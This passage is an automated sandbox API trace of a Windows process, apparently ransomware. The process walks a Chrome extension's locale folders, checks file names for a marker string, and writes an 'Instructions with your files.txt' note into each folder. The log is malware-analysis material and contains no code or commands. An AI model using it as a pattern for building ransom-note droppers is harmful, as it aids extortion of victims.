[0129.957] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.957] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.958] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.958] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.958] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.959] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.959] CloseHandle (hObject=0x134) returned 1
[0129.959] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.959] GetProcessHeap () returned 0x810000
[0129.959] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.959] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8277e340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82783160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82783160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
[0129.959] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv") returned 145
[0129.959] GetProcessHeap () returned 0x810000
[0129.959] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.959] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*") returned 147
[0129.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8277e340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82783160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82783160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.959] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\.") returned 147
[0129.959] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8277e340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82783160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82783160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.959] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\..") returned 148
[0129.959] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82783160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82783160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.959] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned 159
[0129.959] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.959] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82783160, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82783160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.960] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\Instructions with your files.txt") returned 178
[0129.960] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.960] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.961] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.961] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.961] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.961] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.961] CloseHandle (hObject=0x134) returned 1
[0129.961] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.961] GetProcessHeap () returned 0x810000
[0129.961] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.961] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82787f80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8278a690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8278a690, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb", cAlternateFileName="")) returned 1
[0129.961] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb") returned 145
[0129.961] GetProcessHeap () returned 0x810000
[0129.961] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.961] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*") returned 147
[0129.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82787f80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8278a690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8278a690, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.962] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\.") returned 147
[0129.962] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82787f80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8278a690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8278a690, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.962] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\..") returned 148
[0129.962] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8278a690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8278a690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.962] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 159
[0129.962] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.962] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8278a690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8278a690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.963] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\Instructions with your files.txt") returned 178
[0129.963] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.963] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.964] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.964] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.964] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.964] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.964] CloseHandle (hObject=0x134) returned 1
[0129.964] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.964] GetProcessHeap () returned 0x810000
[0129.964] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.964] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827942d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827942d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
[0129.964] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl") returned 145
[0129.964] GetProcessHeap () returned 0x810000
[0129.964] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.965] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*") returned 147
[0129.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827942d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827942d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.965] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\.") returned 147
[0129.965] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82791bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827942d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827942d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.965] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\..") returned 148
[0129.965] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827942d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827969e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.965] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 159
[0129.965] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.965] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827942d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827969e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.965] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\Instructions with your files.txt") returned 178
[0129.965] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.965] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.966] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.966] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.966] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.967] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.967] CloseHandle (hObject=0x134) returned 1
[0129.967] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.967] GetProcessHeap () returned 0x810000
[0129.967] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.967] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8279df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
[0129.967] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl") returned 145
[0129.967] GetProcessHeap () returned 0x810000
[0129.967] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.967] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*") returned 147
[0129.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8279df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
